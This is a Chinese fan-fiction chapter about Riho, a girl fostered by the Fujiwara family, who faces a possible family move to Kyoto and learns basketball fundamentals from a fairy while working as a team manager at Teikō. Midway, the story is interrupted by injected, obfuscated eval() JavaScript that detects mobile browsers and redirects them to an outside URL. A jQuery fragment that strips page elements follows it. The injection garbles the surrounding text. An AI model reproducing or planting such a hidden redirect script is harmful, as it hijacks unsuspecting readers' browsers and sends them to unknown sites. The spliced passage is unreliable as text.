早上，和树在椅子上扭来扭去，筷子戳着碗里的米饭，把几粒米戳到桌上。
“和树，好好吃饭。”绫子的声音不大，但和树缩了一下脖子，乖乖坐好。
“可是好困啊”说着和树打了个哈欠。
诚一坐在主位上，瞪了一眼和树，他面前的鱼已经吃了一半。他吃东西很慢很稳，很安静，筷子碰到碗沿的声音都很少。
理穗坐在对面，低着头，也慢慢地嚼着米饭。她已经吃完了，只是在等。
“理穗。”诚一放下筷子。
“是。”
“听绫子说你加入了篮球部，经理工作怎么样？”
“刚开始，还在了解。”
“别耽误学习，不管干什么，做藤原家女儿都要力争上游才行。”
“是。”
诚一拿起汤碗，喝了一口味噌汤。理穗低下头，继续嚼那口已经嚼了很久的米饭。
绫子给诚一添了饭。“今天京都那边来电话了。”
诚一接过碗，没有马上吃。他看了绫子一眼，又看了看和树。和树在用筷子戳一块胡萝卜，戳了半天也没戳起来。
“父亲身体不太好。”诚一说。
理穗的筷子停了一下。然后继续夹菜。
“上个月住院了。虽然已经出院，但医生说不能再操劳了。”诚一的声音很平，像在说一件和自己无关的事。“京都那边，一直催我们回去。”
绫子没有说话。她低着头，给和树夹了一块鸡蛋。和树终于把胡萝卜戳起来了，送进嘴里，嚼了两下，皱起眉头。
“爸爸，我们要搬家吗？”和树问。
诚一看了他一眼。“也许。”
“搬到哪里？”
“京都。”
“远吗？”
“远。”
和树想了想。“那姐姐要去京都上学吗？也去吗？”
理穗的筷子停在半空。她没有看和树，也没有看诚一。她看着碗里最后几粒米饭。白色的，一粒一粒的。
“姐姐当然——”绫子开口。
“理穗还在上学。”诚一打断了她。“转学手续要办。不是一天两天的事。”
他端起汤碗，喝了一口。理穗把最后几粒米饭送进嘴里。嚼。咽。然后放下筷子。
“我吃完了。”
她站起来，把自己的碗筷收走。绫子看着她，嘴唇动了动，没有出声。和树还在戳胡萝卜。
“姐姐，你不吃了？”
“吃完了。”
“那我的胡萝卜给你吃。”
“和树，自己吃。”绫子的声音有点急。
理穗站在厨房里，水龙头开着，水冲在碗上。她低着头，看着水流过碗沿，把最后几粒米冲走。绫子走进来。
“理穗，诚一不是那个意思……”
“我知道。”
“转学手续确实要时间。而且——”
“妈妈。”
绫子停住了。
“没关系，我只是刚好吃完了，去上学了，再不走要来不及了。”
理穗走出厨房，上楼收拾东西。楼梯是木头的，踩上去会发出吱呀的声音。她走得很慢，每一步都踩在不会响的地方。她练过。很久以前就练过。知道哪一级会响，哪一级不会。
和树在客厅里喊：“姐姐！姐姐！”
收拾好东西，匆匆下楼。
绫子朝理穗说“村中先生在门口等你了，一路小心。”
理穗点头应声，“再见，妈妈”
帝光中学，一年A班。
她坐在书桌前，翻开笔记本。笔尖莫名的停在纸上。
她想起第一个家庭。叔母说“这孩子怎么撒谎”。她想起第三个家庭。亲戚说“她在和谁说话”。她想起第五个家庭。亲戚说“这孩子太阴沉了”。她想起第七个家庭。她说“我想离开”。亲戚松了口气。
她想起藤原家。和树满月酒，走廊上的窃窃私语。“那个‘压子’真管用。”
压子。工具。用完了，放在角落里。不会被扔掉——那会坏了名声。但也不会被带走。
理穗觉得他说的“他们”，大概不包括她。
她看着窗外的风吹进来，窗帘动了一下，她把笔放下。
“理穗。”小光从窗外飞进来，落在窗台上。
“嗯。”
“你在难过。”
“没有。”
“你在说谎。”
理穗把硬币放回口袋。窗外的银杏叶沙沙响。
“他们要去京都了。”
“谁？”
“诚一。绫子。和树。”
小光歪着头。“你呢？”
理穗没有回答。
小光从窗台上跳下来，落在她的膝盖上。“理穗，你也会去吗？我们才刚认识，我不想你走。”
理穗低下头，心里有些熨贴。
小光看着理穗沉默了很久。然后它用翅膀蹭了蹭理穗的手指。“不要想了，去晨练吧，我们去篮球馆啊，我教你篮球规则。”
理穗点了点头，她把笔记本合上，放进书包里。
篮球部竞争激烈，早上晨练的人很多，一军二军是强制执行，理穗所在的三军要更散漫一些，即便这样，理穗到体育馆的时候也看到了好多人。
球鞋摩擦地板的声音、球撞击篮筐的声音、偶尔的喊声，在空旷的场馆里回荡，带着一点回声。
她找了一个观众席的位置坐下来，把笔记本放在膝盖上。小光从她的肩膀上跳下来，落在笔记本的封面上。它今天依旧很活泼，一路蹦蹦跳跳。
“理穗，你看。”小光的声音很轻快，像风从门缝里钻进来。“那边那个人，运球的时候手腕是僵的。”
理穗顺着小光指的方向看过去。一个戴眼镜的男生在罚球线附近运球，球从他手里弹起来的时候角度有点偏，他要用更大的力气才能控制住。
她打开笔记本上记录：运球时手腕僵硬，球的反弹角度不稳定。
“他拍球的时候，手掌没有贴住球面。”小光说，“你看他的手指——是张开的，但不是自然张开。他在用力。手一用力，手腕就僵了。手腕一僵，球的轨迹就不对了。”
理穗看着那个男生的手。他的手指确实在用力，指尖发白，像是在抓什么东西。她在笔记本上补充：手掌未贴住球面，手指过度用力。
“正确的运球，手掌是不碰球的。只有手指尖。像吸盘一样，吸住，松开，吸住，松开。”小光伸出它的小手，在空中比划。它的手指很短，但动作很流畅，像是在拍一个看不见的球。“球自己会弹起来，你只需要给它方向。不是你在用力，是球在帮你。”
理穗看着自己的手。她的手指很长，骨节分明。她试着做了一个拍球的动作，手腕是松的，手指微微弯曲。
“对，就是这样。”小光说，“你学得很快。”
“我没碰过球。”
“没关系，以后我们再试试！”小光当起老师，学着教练的样子说话，样子有些可爱。
理穗点头，继续在笔记本上画了一只手的形状，在指尖的位置画了几个小点。然后抬起头，继续看。
场上有几个人在练习投篮。一个高个子的男生站在罚球线上，举球，出手，球砸在篮筐后沿弹了出来。他叹了口气，捡起球，又站回罚球线。
“你看他的脚。”小光说。
理穗顺着小光指的方向，看着那个男生的脚。他的脚尖指向篮筐的左边，但他的肩膀是正的。
“有什么问题？”
“投篮的时候，脚尖要对准篮筐。肩膀、手肘、手腕、手指，全部在一条线上。脚偏了，整个人就偏了。球自然也会偏。”
那个男生又投了一次。这次球砸在篮筐前沿，又弹了出来。他皱了皱眉，低头生气的踢着自己的脚，懊恼不已。
“他投的力气太大了。”小光说，“不光是力气的问题。他投篮的弧线太平了。球要画出彩虹，不是射箭。”
理穗在笔记本上写：投篮时脚尖对准篮筐，全身在一条线上。球要有弧度，不是直线。
“理穗，看那边。”小光指了指球场的另一头。
一个矮个子的男生在练习上篮，他跑得很急，脚步很乱，上篮的时候球砸在篮板上，弹得很远。
“上篮的时候，心里要数一二。”小光说，“第一步接球，第二步起跳。不是跑，是跳。跑是快的，跳是稳的。”
理穗看着那个男生又试了一次。这次他跑得慢了一点，脚步稳了一点，球打在篮板的方框里，弹进了篮筐。他愣了一下，然后笑了。
“你看他笑了。”小光说，“球进的时候，每个人都会笑。”
理穗低下头，在笔记本上写：上篮：第一步接球，第二步起跳。速度不重要，节奏重要。
场上的练习继续。有人在练传球，有人在练防守脚步。理穗看着他们，小光在旁边一个一个地讲。
“传球的时候，手腕要抖。不是用手臂推，是手腕抖。像甩水珠一样。”
“防守的时候，重心要低。屁股坐下去，背挺直。重心高了，一撞就倒。”
“抢篮板的时候，要先卡位。不是跳得高就能抢到，是站得稳才能抢到。”
理穗的笔记本一页一页地写满。她的字很小，很密，但很清楚。小光趴在她的膝盖上，翅膀收拢，偶尔闪一下。
“小光。”理穗说。
“嗯？”
“你怎么知道这么多？”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530691|203684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
小光沉默了一会儿。它从膝盖上站起来，走到笔记本的边缘，看着场上的人。日光灯的光照在它身上，它的翅膀有一层淡淡的紫色。
“因为我是篮球妖精啊，我看了很多年。”它的声音很飘忽不定。“从这所学校建校开始，就有人在打篮球。我趴在篮筐上，看了一代又一代的人。有的人打得很好，有的人打得很差。有的人打着打着就笑了，有的人打着打着就哭了。”
它停了一下。
“我看得太多了。看着看着，就学会了。”
理穗没有说话。她看着场上那个戴眼镜的男生。他又投了一次，这次球在篮筐上转了一圈，滚了进去。他握了一下拳头，很小幅度的动作，但理穗看见了。
“他会记住这个球的。”小光说，“第一个投进的球。很久以后他可能不打篮球了，但他会记住这个下午。阳光从那个窗户照进来，球在篮筐上转了一圈，然后掉进去。唰的一声。”
理穗在笔记本上写：第一个投进的球，会记住很久。
“你呢？”小光问，“你记住的第一个球是什么？”
理穗想了想。她想起……第一次路过篮球馆的时候，听见的篮球声。咚，咚，咚。有节奏的，规律的，像心跳。她站在门口，没有进去。但那声音记住了。
“一个拍球的声音。”她说。
小光看着她。“那也是一个球。”
场上的练习结束了。几个男生把篮球收进推车里，有人擦汗，有人喝水。那个戴眼镜的男生又投了一次，这次没进。他摇了摇头，但嘴角是翘着的。
“理穗，你以后会打篮球吗？”小光问。
理穗看着自己的手。手指很长，骨节分明。她想起刚才做的那个拍球的动作，手腕是松的，手指微微弯曲。
“不会。”
“为什么？”
“我是经理。”
“经理也可以打。”
理穗没有回答。她把笔记本合上，小光从封面上跳起来，落在她的肩膀上。它缩成一团，翅膀盖住身体。
“理穗。”
“嗯？”
“你刚才学得很快。”
“……嗯。”
“你有天赋。”
理穗站起来，把笔记本放进书包里。她走到推车旁边，帮那几个男生把篮球摆好。戴眼镜的男生意外的看了她一眼，说：“谢谢。”她点了点头。
走出三军体育馆的时候，走廊上很安静。早上的太阳和煦的从窗户照进来，把地面切成一块一块的光和影。她走在光影之间，脚步很慢。
“小光。”
“嗯？”
“你之前说，你是一声‘砰’变成的。”
“嗯。”
“那你学会的东西，也是一声‘砰’教会你的？”
小光想了想。“也许是很多声‘砰’。一个声音学不会东西。很多声音在一起，就会了。”
理穗没有说话。她走到走廊的尽头，推开门。太阳光照在她脸上，暖暖的。她闭上眼睛，站了一会儿。
“理穗，你在想什么？”
“在想你说的彩虹。”
“什么彩虹？”
“投篮的弧线。你说要画出彩虹。”
小光没有说话。理穗睁开眼睛，继续走。
回到教室，理穗坐在书桌前，翻开笔记本。她看着今天记的那些东西——运球、投篮、上篮、传球、防守、抢篮板。她看了很久，然后在空白页上画了一个篮筐。篮筐下面，有一个人。很小，看不清是谁。那个人在投篮，球在空中画出一道弧线。弧线很高，很漂亮，像彩虹。
她没有画球进没进。只画了那道弧线。然后合上笔记本。
小光趴在窗台旁边，缩成一团。
“小光。”
它闪了一下。
“你今天说的那些话，我记住了。”
它又闪了一下。
理穗闭上眼睛。她想起那个戴眼镜的男生投进第一个球的时候，握了一下拳头。很小幅度的动作。她记住了。她不知道他的名字，但她记住了他握拳头的动作。
她想起小光说的：“很久以后他可能不打篮球了，但他会记住这个下午。”
也许她也是。很久以后，她可能不在帝光篮球部了。但她会记住这个下午。三军体育馆，日光灯，篮球击地的声音。还有一个小妖精，趴在她的膝盖上，讲投篮要怎么画出彩虹。
悠悠羁旅客，问君可曾知。
她想起诚一早上没有说“她会去”。也没有说“她不会去”。
他只是说“不是一天两天的事”。在等什么？等她主动说“我不去了”？
但是不管怎样，生活还是要继续下去。一个人也很好！